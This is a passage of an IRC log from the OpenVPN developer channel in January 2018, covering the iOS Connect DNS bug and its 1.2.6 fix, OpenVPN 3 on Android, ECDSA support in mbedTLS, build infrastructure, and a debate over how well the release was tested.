files... 15:55 <@cron2> because NFSv4 is "UTF-8 only!" (4.1 has charset support)... the client can *see* the file, so "ls" works, but cannot open it... 15:55 <@cron2> much fun when migrating one of our corp login servers to new hardware 16:35 <@vpnHelper> RSS Update - tickets: #978: HMAC authentication failed error message lacking IP address <https://community.openvpn.net/openvpn/ticket/978> 17:20 < Barbarossa> Cron2: that's why you should enforce utf8 or ASCII :-) 17:20 < Barbarossa> Like Isilon does. 17:22 < Barbarossa> But that doesn't safe you from trouble with mixed C and D normalization between Linux and Mac OS ;-) 19:14 < tincantech> it is all betamx vs vhs ;) 20:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 20:09 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:04 <@plaisthos> btw. is there any logic to what OpenVPN 3 picks first to connect? 22:05 <@plaisthos> it seems it always uses first the protcol that is wrong. IPv6 for my ipv4 only wifi and Ipv4 for my Ipv6+Ipv4 mobile connection 22:06 <@plaisthos> peer info: IV_GUI_VER=de.blinkt.openvpn_0.6.73 22:06 <@plaisthos> peer info: IV_VER=3.1.2 22:06 <@ordex> not sure, but should just follow what it gets from the resolver 22:06 <@plaisthos> hm strange 22:06 <@ordex> but i am not sure 22:08 <@plaisthos> just looking at all the oddities that openvvpn3 brings with them in a app that was designed for openvpn 2 :) 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:41 <@plaisthos> ~. 22:41 <@plaisthos> ~> 22:41 <@plaisthos> (sorry, tried to kill the ssh session) 22:45 <@ordex> :D 22:45 <@ordex> you tried to kill us ! 22:56 <@plaisthos> :P 23:18 <@ordex> dazo: I think your friend at mbedTLS did not care much about us :P the patch is still pending there with no word from them whatsoever 23:18 <@plaisthos> ordex: I also have a pending mbedtls patch ;) 23:18 <@ordex> plaisthos: me too from last year, but I don't think it will ever be picked up anymore 23:18 <@ordex> but this one is quite small and important :S 23:19 <@plaisthos> my is smaller (probably)! 23:19 <@plaisthos> https://github.com/ARMmbed/mbedtls/pull/1242/files :) 23:19 <@vpnHelper> Title: Use current cmake directory instead of source root directory when exu… by schwabe · Pull Request #1242 · ARMmbed/mbedtls · GitHub (at github.com) 23:21 <@ordex> :D --- Day changed Fri Jan 12 2018 07:43 <@dazo> ordex: I'll send an e-mail querying about it again 07:49 <@ordex> thanks dazo 07:49 <@dazo> yw! 07:49 <@dazo> Going to pull in more mbed TLS people if I need to follow this one up 07:53 <@vpnHelper> RSS Update - tickets: #979: Bug in OpenVPN Connect 1.2.5 on IOS <https://community.openvpn.net/openvpn/ticket/979> 08:01 <@ordex> cron2: the DNS bug is not documented in the FAQ because it is a real bug, so we did not write down anything about that 08:02 <@ordex> but maybe writing something to help people out for these days ... 08:05 <@cron2> ordex: well, a FAQ should cover, uh, frequently asked questions, no? And if a bug causes a certain Q to be F A... 08:06 <@ordex> :D 08:06 <@ordex> your explanation is too convincing 08:06 <@ordex> eheh 08:13 <@cron2> sorry :) 08:19 <@ordex> :D 10:37 -!- Netsplit *.net <-> *.split quits: pekster 10:37 -!- mode/#openvpn-devel [+o ordex] by ChanServ 10:38 -!- Netsplit over, joins: pekster 11:07 <@cron2> mmmh, work for syzzer 13:09 -!- slypknot is now known as tincantech 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sat Jan 13 2018 03:39 <@ordex> tincantech: why do you think this is spam: https://forums.openvpn.net/viewtopic.php?f=33&t=25624 ? 03:39 <@vpnHelper> Title: Feature Request: Support Intent to connect in background - OpenVPN Support Forum (at forums.openvpn.net) 04:26 <@plaisthos> that sounds like a reasonable request 04:50 < tincantech> ordex: i wasn't sure first time i read it .. so i just marked it to have a look later .. just forgot to closde the report 04:51 <@ordex> oh ok 04:51 <@ordex> bear with me, but I don't know a lot of that interface. it looked like you had flagged/censored the comment 04:51 <@ordex> :) 04:51 <@ordex> imho the comment is sane 04:51 <@ordex> comment/post 04:53 < tincantech> yeah it is fine 04:53 < tincantech> when i first started mod'ing the forum it got loads of spam but we have cracked down very hard on it .. sometimes i get over cautious 05:03 <@ordex> eheh 05:03 <@ordex> yeah 05:03 < tincantech> i closed it now :) 05:04 < tincantech> that other one was left for just in case somebody wanted to follow it up but nobody ever did 05:18 <@ordex> we are on tips4commit :] https://tip4commit.com/github/OpenVPN/openvpn 05:18 <@vpnHelper> Title: Tip4Commit — Contribute to openvpn (at tip4commit.com) 06:42 <@plaisthos> hm 06:42 <@plaisthos> seems like nobody likes us 06:58 < m-a> Es gibt keine Garantie, dass Entwickler Trinkgelder erhalten werden. Durch Spenden akzeptieren Sie, dass ihre Spenden nach Belieben an die Free Software Foundation oder sonstige weitergeleitet werden können. 06:58 < m-a> haha 07:06 <@ordex> plaisthos: we just got registered :P 07:06 <@ordex> m-a: uhm I hope it's nothing bad :P 07:07 < m-a> My translation "there's no warranty that developers will receive tips. By donating you accept that your donations can be forwarded to the Free Software FOundation or others". 07:07 < m-a> ah, found the flags, the original reads " There is no guarantee that tips will be claimed by developers. By donating the funds you agree that they can be sent to the Free Software Foundation or elsewhere at Tip4Commit's discretion. " 09:01 <@plaisthos> http://blog.metaobject.com/2018/01/meltdown-patch-reduces-mkfile8.html 09:01 <@vpnHelper> Title: metablog: Meltdown patch reduces mkfile(8) throughput to less than 1/3 on macOS (at blog.metaobject.com) 09:01 <@plaisthos> apple's patch for meltdown has even more slowdown :( 09:57 <@plaisthos> syzzer: do you by chance of the top of your what signature algorithms is used for singing the hash during a tls handshake for EC keys? 09:57 <@plaisthos> rsa keys use (in java) RSA/ECB/PKCS1PADDING 10:10 <@ordex> cron2: just to make you happy: I fixed also the option to use IPv6 DNS on iOS with split tunnel (== no default route set) 10:11 <@ordex> :) 10:11 <@ordex> next beta will have it too 10:17 * plaisthos remindes ordex of my DNS6 pull request ;P 10:17 <@ordex> it's on GH, no ? 10:17 <@ordex> I will check that 10:17 <@ordex> first I have to finish the review of your block-ipv6 patch. I am 3/4 way through :P 10:17 <@plaisthos> ordex: no rush :) 10:18 <@plaisthos> ordex: you alredy responded to the pull request and requested changes which I did 10:18 <@ordex> amazing 10:18 <@ordex> :D 10:18 <@ordex> anyway, I jump into the bed :) bye! 10:22 <@plaisthos> ordex: good night 10:22 <@plaisthos> ordex: have you have tested EC certificates with openvpn3? 10:22 <@plaisthos> or has anyone else? 10:35 <@plaisthos> openvpn connect on android simply refuses to work with my ec config 11:08 <@plaisthos> if server certificate is rsa and client certificate is ec openvpn3+mbedtls try to do an rsa_sign, which android keystore refuses 11:08 <@plaisthos> not sure if the bug is in mbedtls or openvpn3 but looks like that is an mbedtls bug. 11:09 <@plaisthos> if the server certificate is ec, the openvpn3 process just stops doing anything at the pont where it would normally sign 12:44 < tincantech> plaisthos: there is some noise on the forum about mbedtls not supporting all the ec forms which openssl does and ordex submitted a patch to the mbedtls git repo 14:21 <@cron2> ordex: so what is new in beta (3)? IPv6 DNS? 19:31 <@plaisthos> tincantech, ordex: I don't see an open pull request regarding that 19:42 <@ordex> plaisthos: about what ? 19:42 <@ordex> plaisthos: tincantech: mbedtls supports ECDSA, but we need to add support to ovpn3 19:43 <@ordex> cron2: no. it will come in beta 4 19:44 <@ordex> tincantech: plaisthos: the noise on the forum (little) is about the pkcs5 encrypted keys. mbedtls lacks some support for that 19:53 <@plaisthos> ordex: ah then that is something then I have 19:53 <@plaisthos> but I also running into the no common algorithm problem 19:54 <@ordex> that is likely due to mbedTLS 19:54 <@plaisthos> yeah 19:54 <@plaisthos> figured that much 19:55 <@ordex> I mean - not so sure - I never worked on that yet. 19:55 <@ordex> but i think that if you use EC certs, it wants to setup ECDA, no ? 19:55 <@ordex> ECDSA* 19:55 <@ordex> thus leading to no common alg ? 19:56 <@ordex> if you switch to RSA keys it should work 19:59 <@ordex> cron2: btw if you open testflight you should have a long changelog at the top --- Day changed Sun Jan 14 2018 01:10 <@ordex> cron2: the beta that has been just pushed should support IPv6 DNS settings in a split tunnel setup 04:20 <@cron2> whee, ACKs 04:21 <@cron2> ordex: not @home, iPad is at home... 04:21 <@ordex> sure, no worries. I only wanted you to know :) 04:53 <@plaisthos> my first openvpn for android with experimental openvpn3 c++ support is on the play store :) 04:56 <@ordex> cool, what's the name ? 04:57 <@ordex> plaisthos: ^ 04:58 <@plaisthos> ordex: normal app 04:58 <@plaisthos> you need to join the beta 04:58 <@ordex> oh ok 04:58 <@ordex> will do 04:58 <@plaisthos> and the check the checkbox that toggles between v2 and v3 04:58 <@ordex> plaisthos: just curious: why your app id ends with blinkt.de ? 04:59 <@plaisthos> was just one of domains I had 04:59 <@ordex> ah ok 04:59 <@plaisthos> it means blinks in German 04:59 <@ordex> :) 04:59 <@ordex> eheh ok 05:02 <@plaisthos> openvpn 3 C++ generally works in the app but I am sure there are a lot of scenarios where it just breaks 05:39 <@ordex> eheh 05:39 <@ordex> well, if there were no breakages...what would be the fun then? ;P 05:51 <@plaisthos> and as a scary side effect of all my build script changes, OpenVPN for Android now builds on windows out of the box (after installing swig) 06:02 <@plaisthos> it almost is scary that debugging the openvpn3 code works from within AS works 06:30 <@ordex> :D 06:30 <@ordex> no pain at all? come on 07:12 <@plaisthos> ordex: yeah, that is confusing you don't expect those things to work 07:12 <@plaisthos> okay I had to throw away lzo's stupid cmake script which was annoying and breaking things 09:51 <@ordex> plaisthos: how lazy are you from 1 to 10 ? 09:51 <@ordex> :D 09:52 <@ordex> plaisthos: the PR is still open..if somebody asks you to fix patch 1 you don't create patch 2.. but you amend patch 1 :-P 10:37 <@plaisthos> hu? 10:37 <@plaisthos> ordex: I blame github for this, I thought how wrong can it go when do this quick edit with github web interface 10:39 <@plaisthos> maybe I counted on you pressing the sqash and merge button ;) 11:38 <@syzzer> plaisthos: it always signs with the method the privkey supports 11:38 <@syzzer> so if you have an ECDSA P-384 cert, it will be an ECDSA P-384 sig 12:07 <@plaisthos> syzzer: Thanks, I have to figure how to tell java this... 12:08 <@plaisthos> my best guess so far is Signature.getInstance("NONEwithECDSA") 12:09 <@plaisthos> but as I cannot get OpenVPN2/OpenSSL and OpenVPN3/mbedtls talk to each other (even without external key), I am making no progress. 12:13 <@vpnHelper> RSS Update - gitrepo: Use RSA_meth_free instead of free <https://github.com/OpenVPN/openvpn/commit/508741c1cf99b8a24205601800fa5056c6d0192b> || OpenSSL: check EVP_PKEY key types before returning the pkey <https://github.com/OpenVPN/openvpn/commit/e603afabb845d2552198843a987b5d9b0b7ac404> 12:48 <@cron2> builder-ubuntu-1604-amd64 -> disk full 13:07 <@cron2> syzzer: review work for you :) 13:11 <@syzzer> cron2: plenty, yes :p 13:11 <@syzzer> anything specific? 13:19 <@cron2> [PATCH v2 1/2] Bring cryptoapi.c upto speed with openssl 1.1 13:19 <@cron2> Selva updated his patch to your comments 13:45 <@cron2> whee, that was fast 13:53 <@vpnHelper> RSS Update - gitrepo: Bring cryptoapi.c upto speed with openssl 1.1 <https://github.com/OpenVPN/openvpn/commit/862cbe538b6d53435f60065b0235639095c9ad0d> 16:21 -!- slypknot is now known as tincantech 18:59 <@ordex> aloha! --- Day changed Mon Jan 15 2018 01:52 <@cron2> mornin 02:16 <@cron2> mattock: are you around? 04:55 <@mattock> yes 04:55 <@mattock> I smell issues with buildbot :P 06:03 <@cron2> mattock: indeed :-) - ubuntu 16 has "disk full", and if you could please remove the --disable-crypto variants? This option is gone :) 06:14 <@syzzer> do we have separate configs for master and release/2.4? 06:14 <@syzzer> because 2.4 still has --disable-crypto 06:14 <@syzzer> (and I *will* break if it's not tested :p ) 06:16 <@cron2> AFAIR buildbot only ever builds master 06:16 <@cron2> but maybe we need to introduce 2.4-building *with* --disable-crypto at this point 06:16 <@cron2> meeting topic? 06:26 <@ordex> yeah makes sense 06:26 <@ordex> (to build and to add it as topic) 06:26 <@ordex> :P 06:31 <@plaisthos> cron2: sorry buildbot on pan was offline, forgot to restart it after server restart 06:37 <@syzzer> we do have travis that still does 2.4 --disable-crypto builds btw :) 06:53 <@plaisthos> mac buildbot is catching up 06:54 <@plaisthos> I hope it does not generate too many mails ... 07:40 <@cron2> where do travis failures get reported to? 07:45 <@syzzer> cron2: the author at least 07:46 <@syzzer> and I think I get all failures, because I subscribed 13:51 <@cron2> ordex: have you rolled out a new version? 13:51 <@cron2> "one of my canaries is having VPN issues" 13:53 <@cron2> mmmh, no 18:04 <@ordex> cron2: waiting for apple..they are still in the weekend 18:05 < tincantech> ordex: 2018 .. what a yea ;) 18:06 < tincantech> year* 18:07 <@ordex> eheh 18:08 < tincantech> not only meltdown but iOS openvpn too ... omg ;) 18:18 <@ordex> :D 19:43 < valdikss> Hi guys 19:44 < valdikss> Regarding that iOS VPN API DNS bug, is it possible to push redirect-gateway, and push routes to default ISP's gateway, which will exclude all unneeded networks? 19:44 < valdikss> i.e. inverse route logic 20:00 <@ordex> !as 20:00 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 20:28 < tincantech> valdikss: apparently --push "redirect-gateway options" is a work around to iOS 1.2.5 not implementing --push "dhcp-option DNS server" 20:29 < tincantech> nothing to do with AS at all ......... 20:31 < tincantech> iOS 1.2.5 has been an unmitigated disaster .. 20:32 < tincantech> ordex: FYI .. valdikss is a fairly serious contibutor to my knowledge 20:33 <@ordex> tincantech: I wrote on #openvpn. I wanted to redirect him to the proper channel where discussions for iOS are in topic 20:33 <@ordex> tincantech: btw, you might be surprised, but the aftermath is fairly the opposite of the feeling: th enumber of reports we got was farily low compared to the use base 20:33 <@ordex> *user base 20:33 * ordex still waking up 20:35 <@ordex> therefore, I wouldn't call it an "unmitigated disaster" :P 20:35 < tincantech> ordex: i am not here to apportion blame .. but iOS 1.2.5 is the biggest openvpn *fart* so far and possibly ever 20:35 < tincantech> reality .. 20:35 <@ordex> tincantech: how did you come to this conclusion? 20:36 <@ordex> just guts feeling? or you have measured the fart intensity? 20:36 < tincantech> by taking part for over six years 20:36 <@ordex> to th ebest of my knowledge, last year after the previous release, the review on AppStore dropped to around 2.5 20:37 < tincantech> i really don't care what app-store has to say .. i do see what the problems are on the forum 20:39 <@ordex> the appstore just gives you a sample idea of how spread problems are 20:39 <@ordex> I also do see problems on the forum, continuosly. of course on iOS everybody got the upgrade at the same time so they all came in one day 20:40 <@ordex> anyway 20:40 < tincantech> and in that sentance you have answered your issues 20:40 < tincantech> don't release shit to app-store 20:41 <@ordex> eheh 20:42 < tincantech> ordex: i don't understand how much you do for openvpn and i don't understand what goes on behind the scenes 20:42 < tincantech> but i *do* know it is going on 20:43 < tincantech> for me .. iOS 1.2.5 was and will remain an "Unmitigated Disaster" for ever. 20:43 < tincantech> i don't hold you responsible though 20:43 <@ordex> responsible for what ? 20:44 < tincantech> and i do appreciate your public help and input 20:44 < tincantech> responsile for iOS 125 .. what do you need a sign post ? 20:44 <@ordex> well, don't forget it's a free app. any unreasonable complaint -> spam 20:45 < tincantech> not at all 20:45 < tincantech> unless the plan is to discredit openvpn .. ? 20:45 <@ordex> if people are willing to help (like many did), they are more than welcome. which is basically why we managed to fix almost every issue 20:45 < tincantech> oh please .. 20:45 <@ordex> well, I said "unreasonable" complaint 20:46 < tincantech> from what i can tell the testing was insufficient *at best* 20:46 <@ordex> well, this app came with huge changes. testing for lots of things did not even exist because it's almost impossible to predict how this is going to be used 20:47 <@ordex> please define what "sufficient" means. this may be helpful for th enext time 20:47 < tincantech> then don't fucking release it till its good and fucking ready 20:47 < tincantech> gah .. 20:47 <@ordex> define "good" and "fucking ready" 20:47 < tincantech> apple might be strict .. but not that strict 20:47 <@ordex> all testers approved the app. it underwent tests for months 20:48 <@ordex> mh how is apple related now ? 20:48 < tincantech> then i resubmit my prior protest .. the thesting was insufficient 20:48 <@ordex> sure, *after* the release you can weigh what has been done and the result and improve the next iteration. no doubt about that 20:49 <@ordex> but can you tell me how you define "sufficient" ? so we can define when to stop next time 20:49 <@ordex> I understand that now you look back and say "it was insufficient" 20:49 <@ordex> also my granma agrees 20:49 <@ordex> :P 20:49 < tincantech> iOS alpha-testing for dummies .. openvpn.inc wrote the book 20:50 <@ordex> you're not answering my question 20:50 <@ordex> but I don't expect you do 20:50 <@ordex> I mean, it's not your duty of course 20:50 < tincantech> which question ? 20:50 <@ordex> [1048.01] <@ordex> but can you tell me how you define "sufficient" ? so we can define when to stop next time 20:51 < tincantech> as *most* iOS users of openvpn are most likely going to connect to a server .. how about thoroughly testing pushed options 20:52 < tincantech> like DNS 20:52 <@ordex> again, what question are you answering now ? 20:52 < tincantech> like i said .. i don't hold you personally responsible 20:52 <@ordex> I don't want to discuss low level details of the tests 20:52 <@ordex> otherwise we'd spend hours 20:55 < tincantech> i have had this discussion before with dazo at al .. don't put programmers in charge .. the skill set is considerably different from programming to public relations 20:57 < tincantech> although with apple it seems they make their own hole in the ground also 20:57 < tincantech> and no Steve to guide them 21:01 < tincantech> also .. i did answer your question --- Day changed Tue Jan 16 2018 01:42 <@cron2> ordex: thanks for cleaning up trac 01:42 <@ordex> cron2: no worries. I'll continue once 1.2.6 will be out 01:42 <@ordex> because some tickets have to be closed like: "test 1.2.6, reopen if you get troubles" 01:42 <@ordex> so I postponed the rest 01:42 <@cron2> looking forward to that, so I can remove my workaround then :) 01:43 <@ordex> yeah, I expected to be out already, but MLK Day was in the way 01:43 <@cron2> (to see what these guys do, I do a tcpdump on my tun interface, and all I see now is "connect to apple and download stuff" :-) ) 01:43 <@ordex> lol 01:55 <@mattock> meeting tomorrow? 01:59 <@mattock> cron2: tons of old kernels had accumulated on ubuntu 16.04 01:59 <@cron2> mattock: meeting works for me, no particular topics 02:05 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-01-17 02:05 <@vpnHelper> Title: Topics-2018-01-17 – OpenVPN Community (at community.openvpn.net) 02:06 <@syzzer> mattock: meeting tomorrow works for me too 02:10 <@mattock> great! 02:10 <@mattock> would you guys be willing to take a stab at reviewing the FIPS patchset tomorrow? 02:10 <@mattock> their author sent me email about that last week (forgot to answer him until today) 02:16 <@syzzer> mattock: meeting I can do in $boss' time, not-relevant-for-$boss patch review I cannot 02:43 <@mattock> syzzer: ok 02:44 <@mattock> are you the only person capable of reviewing the FIPS patches 02:44 <@mattock> ? 02:52 <@mattock> meeting invitation sent 02:53 <@syzzer> mattock: no, I think e.g. ordex or plaisthos could review them too 03:03 <@ordex> mattock: you didn't say that the meeting was tomorrow :P 03:31 <@ordex> why isn't vpnhelper updating us on the trac bugs? 04:07 <@plaisthos> hm, user report says OpenVPN 3 does not install routes with this server config: 04:07 <@plaisthos> push "redirect-gateway def1" 04:07 <@plaisthos> push "redirect-gateway ipv6" 04:08 <@plaisthos> I am more surprised that this works in OpenVPN 3 04:08 <@plaisthos> ... works in OpenVPN 2 04:13 <@plaisthos> nerv mind, it is my bug 04:16 <@ordex> plaisthos: :P 05:15 <@dazo> tincantech: regarding the iOS release ... remember that this app is already downloaded quite some hundred thousand times (we might have passed a million) ... so if 5% of the user base of 100.000 experience issues - that is 5000 users ... and there have been 15-20 people complaining loudly on the forum 05:16 <@dazo> we have had far more positive responses than negative through other channels than the forum 05:16 <@dazo> but the issues for those who experienced it, it was severe issues 05:17 <@dazo> so ... to me, that is far from a complete disaster 05:18 <@dazo> but I'm also not saying it was a complete success either, because it wasn't 05:19 <@dazo> and even though this is a weak measuring point ... of 850 reviews of the current release (1.2.5), the average is 4 stars rating .... https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8 05:19 <@vpnHelper> Title: OpenVPN Connect on the App Store (at itunes.apple.com) 05:19 <@dazo> and that is *despite* several 1 star ratings as well 05:20 <@plaisthos> dazo: * implementation of relay protocol 05:20 <@plaisthos> what is that about? 05:20 <@dazo> plaisthos: !? 05:21 <@plaisthos> dazo: that is from the changelog of the itunes link you just posted 05:21 <@dazo> plaisthos: that I have no idea about :) ... and that was an ancient update as well :-P 05:23 <@dazo> plaisthos: have a look at commit 9c0397ebd3dca5e7768f1dd769b0ce83d75e24a6 in the openvpn3 git repos :) 05:24 <@plaisthos> interesting 05:24 <@dazo> yeah 06:30 < valdikss> dazo: Don't forget that non-technical people and just people without knowledge of English most probably won't go on forums. 06:32 <@dazo> valdikss: true, but they reach us via other channels as well 06:32 <@dazo> (actually, I find more often non-techs on forums rather than mailing lists) 07:39 < tincantech> dazo: I will conceed that there are a lot of people who use the 125 app without issue but the problems which do exist really ought to have been spotted .. eg: pushing DNS without redirecting-gateway .. anyway, even though I personally think it has been a disaster, at least openvpn can walk away from it with some new info about more thorough testing and what tests those might be (and more) so 07:57 <@ordex> tincantech: I agree we had problems, but a disaster is something else. look how fast we recover ;) that's emergency management..that's important too :) 08:39 < tincantech> disaster recovery ;) (anyway .. what happened happened and could not have happened any other way ;) ) 08:40 <@ordex> physics teaches us that we can change the past based on future observation ;D 08:52 < tincantech> that would be the physics of star trek or red dwarf ;) 09:06 <@ordex> tincantech: no, quantistic :) 09:06 <@ordex> wait 09:08 <@ordex> tincantech: https://en.wikipedia.org/wiki/Double-slit_experiment https://en.wikipedia.org/wiki/Wheeler%27s_delayed_choice_experiment 09:08 <@vpnHelper> Title: Double-slit experiment - Wikipedia (at en.wikipedia.org) 09:08 <@ordex> you can also find youtube videos with explanations 09:08 <@ordex> quite fascinating if you ask me 09:10 <@ordex> tincantech: found it: https://en.wikipedia.org/wiki/Delayed_choice_quantum_eraser this is probably the best experiment! 09:10 <@vpnHelper> Title: Delayed choice quantum eraser - Wikipedia (at en.wikipedia.org) 09:19 < tincantech> ordex: Cool :D .. although, i think Richard Feynman put it best .. "if you think you understand quantum mechanics then you don't understand quantum mechanics" ;) 09:28 <@ordex> lol 09:58 <@plaisthos> tincantech: dns w/o redirect-gateway is a rather uncommon config in my experience 09:59 <@plaisthos> tincantech: it is so rare that on Samsung device many of these setups break since DNS only works if it is in VPN range. 10:41 < tincantech> plaisthos: it may be uncommon and may even break some devices but it is a very easy variety to check 10:46 <@ordex> tincantech: I have an idea! 10:46 <@ordex> wanna be beta tester? 10:46 < tincantech> i don't have a ithingy 10:46 < tincantech> otherwise i would 10:46 <@ordex> ah ok 10:46 <@ordex> let me know when you get one 10:46 <@ordex> :) 10:47 <@ordex> so we cna brick it! 10:47 <@ordex> *can 10:47 <@plaisthos> tincantech: that is why pointed out Samsung. Even in their test they forgot this one 10:47 <@plaisthos> tincantech: the same is true with md5. 10:47 < tincantech> i could stand up a test server with multi-configs for beta testers to try .. i was going to suggest that before but then you released it soo .. 10:48 <@plaisthos> it is quite uncommon and yet many people ran into it since nobody really tested that before 10:48 <@plaisthos> you simply cannot test everything 10:49 <@ordex> anyway, we'll do better:) worry not 10:49 < tincantech> i think dazo pointed out the flaw in "my opinion" .. i only watched the forum not other media 10:49 <@ordex> although.....if we fix everything...we won't have fun on the forum like last wek 10:49 <@ordex> week* 10:49 <@ordex> no? :) 10:50 <@ordex> although it was a oneseater roller-coaster :D 10:50 < tincantech> heh .. /fun/ .. well it takes all sorts ;) 15:01 <@plaisthos> I am not sure how casting is correctly formatted in our new style 15:01 <@plaisthos> is management_android_control(management, "IFCONFIG", (char*) buf_bptr(&out)); 15:02 <@plaisthos> okay? I am looking for the (char*) before buf_pbtr. Or should I add more spaces and brackets? 15:52 <@plaisthos> Just when I finally got the motivation to start looking into ecdsa singing Selva was faster :0 16:07 <@plaisthos> Jan 16 23:07:23 hermes ovpn-udp-ec[495]: ketoec.blinkt.de/92.72.217.171:1194 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-ECDSA-AES256-GCM-SHA384, 384 bit EC, curve: secp384r1 16:07 <@plaisthos> Yay! :) 16:24 < tincantech> singing ;) 16:46 <@plaisthos> :P 18:16 < tincantech> ecrist: ping 18:16 < tincantech> really easy one this time ;) 18:18 < tincantech> See : https://forums.openvpn.net/viewtopic.php?f=36&t=25461#p76089 18:18 <@vpnHelper> Title: How to configure iPhone app - OpenVPN Support Forum (at forums.openvpn.net) 18:18 < tincantech> and the one i deleted 18:19 < tincantech> i stand by my decision and would probably delete the second post as well .. but you guys can call it . chaarz 19:57 <@ordex> plaisthos: (char *)hello; 19:57 <@ordex> no spaces 21:51 <@ordex> mah the guys at mbedTLS really don't know what responsive means :/ --- Day changed Wed Jan 17 2018 00:16 <@vpnHelper> RSS Update - tickets: #980: iOS 1.2.5 - unexpected disconnects with various transport-level errors <https://community.openvpn.net/openvpn/ticket/980> 00:44 <@ordex> enjoy my spam ;P 00:52 <@vpnHelper> RSS Update - tickets: #980: iOS 1.2.6 - TCP transport stalls after traffic burst <https://community.openvpn.net/openvpn/ticket/980> 01:04 <@vpnHelper> RSS Update - tickets: #981: The "connect" button does not work when changing the network <https://community.openvpn.net/openvpn/ticket/981> 01:16 <@vpnHelper> RSS Update - tickets: #982: iOS: DNS settings still not apllied <https://community.openvpn.net/openvpn/ticket/982> || #983: Unable to reconnect after sleep <https://community.openvpn.net/openvpn/ticket/983> 01:22 <@vpnHelper> RSS Update - tickets: #981: Android: The "connect" button does not work when changing the network <https://community.openvpn.net/openvpn/ticket/981> 01:47 <@ordex> does anybody know how to remove a comment on trac containing only a diff? I Wanted to change something written by the user but i don't want the old content to be there 01:47 <@ordex> (user asked so) 01:53 <@ordex> cron2: syzzer: ^^ 01:54 <@ordex> mh I thin community.openvpn.net is about to explode ... 01:54 <@ordex> ah not yet ! 02:19 <@vpnHelper> RSS Update - tickets: #736: iOS: Opening profiles from iCloud Drive doesn't work (iOS 9 + 10) <https://community.openvpn.net/openvpn/ticket/736> 02:39 <@vpnHelper> RSS Update - tickets: #985: openVPN bugged out with importing certificate <https://community.openvpn.net/openvpn/ticket/985> || #983: iOS: Unable to reconnect after sleep <https://community.openvpn.net/openvpn/ticket/983> || #984: iOS: connection stalled on TCP 443 <https://community.openvpn.net/openvpn/ticket/984> || #943: iOS: Split screen support is needed for Openvpn connect <https://community.openvpn.net/openvpn/ticket/943> 02:45 <@vpnHelper> RSS Update - tickets: #985: iOS: openVPN bugged out with importing certificate <https://community.openvpn.net/openvpn/ticket/985> || #830: Android: Unicode characters in certificate break OpenVPN Connect <https://community.openvpn.net/openvpn/ticket/830> || #942: iOS: client needs drag and drop support for importing config files .ovpn <https://community.openvpn.net/openvpn/ticket/942> 02:51 <@vpnHelper> RSS Update - tickets: #313: Android: OpenVPN Connect does not detect network change 3G -> WiFi <https://community.openvpn.net/openvpn/ticket/313> || #619: Android: please add Tasker plugin interface to OpenVPN Connect <https://community.openvpn.net/openvpn/ticket/619> || #314: iOS: Proxy configuration on OpenVPN Connect is wrong <https://community.openvpn.net/openvpn/ticket/314> 02:58 <@vpnHelper> RSS Update - tickets: #622: iOS: AuthFile Ignored by OpenVPN Connect iOS 1.0.5.b117 <https://community.openvpn.net/openvpn/ticket/622> 03:17 <@vpnHelper> RSS Update - tickets: #986: iOS 1.2.6 - TCP transport stalls after traffic burst <https://community.openvpn.net/openvpn/ticket/986> 03:36 <@mattock> wow 03:36 <@plaisthos> ordex: thanks 03:39 <@mattock> I think ordex will remain busy for a while :P 04:00 <@syzzer> ordex: no idea - I don't think I have the trac super powers that mattock and cron2 have 04:00 <@syzzer> do we have a standard for casts? I didn't know :p 04:01 <@ordex> syzzer: yes we do ! 04:01 <@syzzer> I usually type (char *) foo 04:01 <@ordex> :D 04:01 <@ordex> i think that's part of allman, no ? (char *)foo 04:01 <@ordex> syzzer: mattock has fixed the trac problem, thanks anyway :) 04:03 <@syzzer> ordex: I thought Allman was mostly about "align braces, use 4 space indents" 04:03 <@ordex> mhhh 04:03 <@ordex> maybe :P 04:04 <@ordex> I am just trying to convince you that (char *)foo is right :D 04:04 <@syzzer> haha, I'm fine with it 04:04 <@syzzer> don't care much about this one 04:04 <@ordex> cron2: 1.2.6 is out on AppStore! 04:05 <@ordex> syzzer: eheh ok, I am a bit feticist on those details (but only when I am fully awake), that's why I promote it 04:05 <@ordex> :) 04:08 <@cron2> mornin 04:08 <@dazo> hey 04:14 * cron2 just *loves* push-remove :-) 04:17 <@dazo> push remove? 04:18 <@dazo> ahh! openvpn option :) 04:18 * cron2 hands openvpn(8) to dazu :) 04:18 <@dazo> I thought you'd found 'git push-remove' :-P 04:18 <@plaisthos> syzzer: okay, for the sake of good code I accept your proposal of using openvpn_snprintf to account for buggy implementation when compiled with TARGET_ANDROID d: 04:19 <@cron2> corporate VPN currently uses a special config to work around the iOS 1.2.5 bug with DNS, and I have now upgraded my ipad to 1.2.6 and needed to remove that option, but just for me, without changing the "all users" include file that is used here... -> push-remove "redirect-gateway " 04:19 <@cron2> done! 04:19 <@dazo> nice :) 04:19 <@dazo> we really have extended openvpn2 with some nice features indeed :) 04:20 <@cron2> this is the sort of swiss army knife VPN server feature that you need twice per year, but then it's very welcome 04:21 <@ordex> :D 04:21 <@dazo> [OT] oh this is a new variant of phishing spam I haven't seen before yet "Due to upgraded our security systems we have deactivated your code card. Your account must be reactivated again. [...] Please upload a scan of your current code card" :- 04:21 <@dazo> :-P 04:21 <@plaisthos> dazo: there is git push-remove? 04:21 <@dazo> plaisthos: nope :) 04:21 <@cron2> ordex: tested 1.2.6, well behaved wrt DNS (v4 only) 04:22 <@plaisthos> cron2: yeah for v6 you need to push the options as DNS and DNS6 currently to make both versions happy :( 04:22 <@ordex> cron2: aweseom, thanks for checking :) 04:22 <@dazo> ordex: do I dare check the forums and twitter now? ;-) 04:23 <@cron2> plaisthos: yep. I just did not test it at all, that's what I tried to say 04:23 <@ordex> dazo: we 